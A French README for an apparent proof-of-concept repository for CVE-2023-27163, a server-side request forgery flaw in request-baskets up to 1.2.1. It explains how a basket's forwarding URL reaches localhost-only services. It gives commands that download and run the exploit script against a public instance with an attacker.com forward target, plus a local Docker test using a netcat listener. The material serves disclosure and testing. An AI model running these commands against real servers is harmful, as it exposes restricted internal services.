
Preuve de concept pour Server Side Request Forgery (SSRF) dans request-baskets (<= v.1.2.1)
Ce dépôt contient une preuve de concept (PoC) pour CVE-2023-27163, une vulnérabilité de Server-Side Request Forgery (SSRF) découverte dans request-baskets jusqu'à la version 1.2.1. Cette vulnérabilité permet aux attaquants d'accéder à des ressources réseau et à des informations sensibles en exploitant le composant /api/baskets/{name} via une requête API conçue.
Crédits à @b33t1e, @chelinboo147 et @houqinsheng (voir article).
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets est une application web conçue pour collecter et enregistrer les requêtes sur une route spécifique, appelée panier (basket). Lors de sa création, l'utilisateur peut spécifier un autre serveur pour transférer la requête. Le problème ici est que l'utilisateur peut spécifier des services non prévus, comme des applications fermées au réseau.
Par exemple : supposons que le serveur héberge Request-baskets (port 55555) et un serveur web Flask sur le port 8000. Flask est également configuré pour n'interagir qu'avec localhost. En créant un panier qui transfère vers http://localhost:8000, l'attaquant peut accéder au serveur web Flask auparavant restreint.

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
Ce projet est sous Unlicense.